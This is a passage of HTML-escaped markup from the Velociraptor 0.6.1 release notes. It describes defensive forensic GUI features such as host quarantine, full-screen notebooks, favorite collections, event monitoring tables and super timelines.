src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/df.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Free disk space&#34;&#xA;         width=&#34;1297&#34; height=&#34;750&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;df.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Free disk space&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;quarantine-hosts&#34;&gt;Quarantine hosts&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor allows users to quarantine hosts using the&#xA;&lt;code&gt;Windows.Remediation.Quarantine&lt;/code&gt; artifact. This artifact updates the&#xA;client&amp;rsquo;s firewall rules so it can only communicate with the&#xA;Velociraptor server, and some limited exceptions. When a host is&#xA;quarantined, no network connections are successful, but the&#xA;investigator can still communicate with the host using Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;This feature is useful in cases when time is of the essence and it&#xA;made sense to expose the feature right in the GUI. From the host overview screen, simply click &amp;ldquo;Quarantine this host&amp;rdquo;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/quarantine.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Host overview page&#34;&#xA;         width=&#34;1146&#34; height=&#34;563&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;quarantine.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Host overview page&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You may also add a message for the logged in user&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/quarantine-1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Quarantine a host&#34;&#xA;         width=&#34;1134&#34; height=&#34;445&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;quarantine-1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Quarantine a host&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;At this point the machine is quarantined. It gains a label of&#xA;Quarantine which indicates to the system that the client is&#xA;quarantined.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/quarantine-2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;A host is quarantined&#34;&#xA;         width=&#34;1142&#34; height=&#34;539&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;quarantine-2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    A host is quarantined&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; How is quarantine status managed? &#34;&gt;&lt;p&gt;Velociraptor uses labels to place host into &lt;code&gt;Label Groups&lt;/code&gt;. This is&#xA;used to control the types of monitoring artifacts that are running on&#xA;the client. It is actually the &lt;code&gt;Quarantine&lt;/code&gt; label that makes the host&#xA;quarantine itself because the &lt;code&gt;Windows.Remediation.QuarantineMonitor&lt;/code&gt;&#xA;artifact is assigned to the Quarantine label group.&lt;/p&gt;&#xA;&lt;p&gt;The host will continuously check that it is quarantined as long as the&#xA;label is set. This means the quarantine status also survives a reboot!&lt;/p&gt;&#xA;&lt;p&gt;To remove the host from the Quarantine group, simply remove the label&#xA;or click the &amp;ldquo;Unquarantine Host&amp;rdquo; button. This will immediately release&#xA;the host from the quarantine.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;notebook-full-screen&#34;&gt;Notebook full screen&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor Notebooks have always been the best way for running and&#xA;exploring VQL queries. The notebooks are a collaborative shared&#xA;document, allowing a group of investigators to share their work and&#xA;analysis.&lt;/p&gt;&#xA;&lt;p&gt;The new full screen mode allows an uninterrupted view of the notebook&#xA;as a shared document. Other GUI elements are hidden and the notebook&#xA;takes on full screen.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/full-screen.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Switch to full screen notebook&#34;&#xA;         width=&#34;1145&#34; height=&#34;497&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;full-screen.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Switch to full screen notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can switch back from full screen mode by simply clicking the button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/full-screen-back.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Full screen notebook&#34;&#xA;         width=&#34;1128&#34; height=&#34;529&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;full-screen-back.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Full screen notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Note that the URL contains the full screen mode so you can share a&#xA;notebook URL with your team already in full screen.&lt;/p&gt;&#xA;&lt;h3 id=&#34;favorite-collections&#34;&gt;Favorite collections&lt;/h3&gt;&#xA;&lt;p&gt;If you are like me and often use the same combination of artifacts&#xA;with similar parameters, but are just too lazy to create a custom&#xA;artifact that combines them all, you might enjoy the latest &lt;code&gt;Favorite&lt;/code&gt;&#xA;feature. Simply click the &lt;code&gt;Save Favorite&lt;/code&gt; button when a collection is&#xA;selected.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/favorite-1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Saving a favorite collection&#34;&#xA;         width=&#34;1287&#34; height=&#34;551&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;favorite-1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Saving a favorite collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This will save the specific combination of artifacts to collect as&#xA;well as their parameters used in the previous collection under a name.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/favorite-2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Saving a favorite collection&#34;&#xA;         width=&#34;1273&#34; height=&#34;558&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;favorite-2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Saving a favorite collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now when we create a new collection, we can retrieve the favorite&#xA;collection by name&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/favorite-3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Retrieving a favorite collection&#34;&#xA;         width=&#34;1273&#34; height=&#34;396&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;favorite-3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Retrieving a favorite collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; How are favorites managed? &#34;&gt;&lt;p&gt;Favorites are currently stored in the GUI user&amp;rsquo;s profiles so each user&#xA;can maintain their own list of favorites. However you can save a&#xA;favorite into your own profile using the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/server/favorites_save/&#34;&gt;favorite_save&lt;/a&gt; VQL function,&#xA;so a team may create a set of common favorites using a SERVER VQL&#xA;artifact.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;event-monitoring-tables&#34;&gt;Event Monitoring tables&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;CLIENT_EVENT&lt;/code&gt; artifacts run an event query on the&#xA;client and stream the results back to the server. This can be used to&#xA;create sophisticated monitoring rules on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release these events are now indexed by time which&#xA;allows for a much more flexible UI experience.&lt;/p&gt;&#xA;&lt;p&gt;You can view the results from the client&amp;rsquo;s monitoring artifacts by&#xA;clicking the &lt;code&gt;Client Events&lt;/code&gt; screen and selecting the specific event&#xA;artifact you want to see.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/event-monitoring.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Client Event Monitoring view&#34;&#xA;         width=&#34;1281&#34; height=&#34;553&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;event-monitoring.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Client Event Monitoring view&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The view is split into two halves. The top half is the timeline view&#xA;while the bottom half is the table view. The events can be viewed in&#xA;the table, while the timeline view provides a quick way to navigate&#xA;different time ranges.&lt;/p&gt;&#xA;&lt;p&gt;You can see the timeline view is split into three rows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Table View&lt;/code&gt; visualizes the time range visible in the table currently.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Available&lt;/code&gt; shows the days which have any events in them.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Logs&lt;/code&gt; visualizes the days that have any logs in them (You can view query logs by selecting the &lt;code&gt;Logs&lt;/code&gt; pull down on the top right).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In order to keep the table brief the timestamps are abbreviated - you&#xA;can hover the mouse over those to get the full timestamp. Usually the&#xA;exact timestamp in the table is not important as we can see a&#xA;visualization of the time range in the timeline above.&lt;/p&gt;&#xA;&lt;p&gt;You can zoom in and out of the visible time ranges using &lt;code&gt;Ctrl-Mouse Wheel&lt;/code&gt; or by clicking the timeline itself.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/event-monitoring-1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Interacting with the timeline&#34;&#xA;         width=&#34;1281&#34; height=&#34;447&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;event-monitoring-1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Interacting with the timeline&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;By clicking the tool bar it is possible to page through the table to&#xA;view visible events. If you need to export the data, simply click the&#xA;&lt;code&gt;Export&lt;/code&gt; button and select either JSON or CSV format. The export&#xA;functionality applies to the visible time range so you can finely tune&#xA;which events should be exported (simply zoom the visible range in or&#xA;out).&lt;/p&gt;&#xA;&lt;h3 id=&#34;timelines&#34;&gt;Timelines&lt;/h3&gt;&#xA;&lt;p&gt;One of the most exciting new features in 0.6.1 is the new built in&#xA;timeline functionality. What is a timeline? It is a way to visualize&#xA;time based rows from multiple sources. The main concepts to understand&#xA;are the &lt;code&gt;Super Timeline&lt;/code&gt; and the &lt;code&gt;Timeline&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A super timeline is a grouping of several timelines together (you can&#xA;see them on the same timeline, turn each on or off etc). You can add&#xA;child timelines to a super-timeline to be able to compare them&#xA;together by seeing their separate events together.&lt;/p&gt;&#xA;&lt;p&gt;A timeline is just a series of rows keyed on a time column - the rows&#xA;can be anything at all, as long as a single column is specified as the&#xA;time column and it is sorted by time order.&lt;/p&gt;&#xA;&lt;p&gt;It is even possible (and necessary) to add the same rows multiple&#xA;times to each super timeline, each time having a different key column.&lt;/p&gt;&#xA;&lt;h4 id=&#34;adding-timelines&#34;&gt;Adding timelines&lt;/h4&gt;&#xA;&lt;p&gt;The first step is to view a table in a notebook - any table generated&#xA;using any query. In the example below, I collected the MFT then post&#xA;processed it by filtering it. Once I can see a table with some&#xA;results in it, I can add the table to the super timeline.&lt;/p&gt;&#xA;&lt;p&gt;In this example I just collected the MFT from the client. The full MFT&#xA;has about 380k rows, but in practice I might be able to filter it down&#xA;by date range or file type so the total size of the table is not too&#xA;large.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Post Processing results from a collection&#34;&#xA;         width=&#34;1274&#34; height=&#34;732&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Post Processing results from a collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next I can add the table to the Super Timeline by generating a&#xA;timeline from it. I simply click the &lt;code&gt;timeline&lt;/code&gt; icon at the tool bar&#xA;of each table. Velociraptor will then present the timeline dialog.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Importing a table into the timeline&#34;&#xA;         width=&#34;756&#34; height=&#34;310&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Importing a table into the timeline&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When adding a timeline to a super timeline, I need to specify the&#xA;Supertimeline&amp;rsquo;s name (If there is no super timeline yet, I can create&#xA;a new one). Then I can specify the child timeline&amp;rsquo;s name and a time&#xA;column to use as the index.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding timeline details&#34;&#xA;         width=&#34;985&#34; height=&#34;399&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding timeline details&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this case I will add the Created times from the MFT to the timeline&#xA;&lt;code&gt;MFT Analysis&lt;/code&gt;. Velociraptor will sort the table on the Created Time and will add the timeline to the super timeline.&lt;/p&gt;&#xA;&lt;p&gt;Since I do not have a Super Timeline yet, I can create a new one by&#xA;starting to type in the box. Later I can add other timelines from any&#xA;tables to the same supertimeline.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;840&#34; height=&#34;357&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;viewing-timelines&#34;&gt;Viewing timelines&lt;/h4&gt;&#xA;&lt;p&gt;Once this is done, nothing appears to have happened! But really the&#xA;supertimeline is added to the notebook. We just need to view it.&lt;/p&gt;&#xA;&lt;p&gt;Timelines are simply rendered through special markdown syntax. I can&#xA;just add a new cell with the timeline in it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a timeline cell to the notebook&#34;&#xA;         width=&#34;770&#34; height=&#34;370&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a timeline cell to the notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Choose which timeline to add.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selecting the supertimeline name&#34;&#xA;         width=&#34;434&#34; height=&#34;278&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selecting the supertimeline name&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;And we get to see the super timeline (which currently has only one&#xA;timeline). It is actually a bit easier to see with full screen so I&#xA;recommend to switch to that now.&lt;/p&gt;&#xA;&lt;h4 id=&#34;inspecting-timelines&#34;&gt;Inspecting timelines&lt;/h4&gt;&#xA;&lt;p&gt;The cell is divided into two: At the top we see the timeline - it has&#xA;a bar for each child timeline added as well as the top bar&#xA;representing the visible range of the table.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-7.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting a timeline in the notebook&#34;&#xA;         width=&#34;1667&#34; height=&#34;624&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-7.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting a timeline in the notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Below the timeline we see the table of all the events from all&#xA;timelines intermixed. The table has two columns, on the left is the&#xA;event time, while on the right are all the other fields of the&#xA;original table row. You can expand and contract each row to see more&#xA;data. Note that the columns we see here are actually the same columns&#xA;in the original table that was added to the timeline, so we can always&#xA;tweak the original table VQL to only present the columns we care about&#xA;and make sure it is not too crowded here.&lt;/p&gt;&#xA;&lt;p&gt;You can zoom the time in and out by clicking the year or month headers,&#xA;but I find it easier to just &lt;code&gt;Ctrl-Mouse Scroll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Table View time range is visualized on the timeline&#34;&#xA;         width=&#34;1445&#34; height=&#34;647&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Table View time range is visualized on the timeline&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can either step through the table using the regular next/previous&#xA;buttons or you can click on any time you 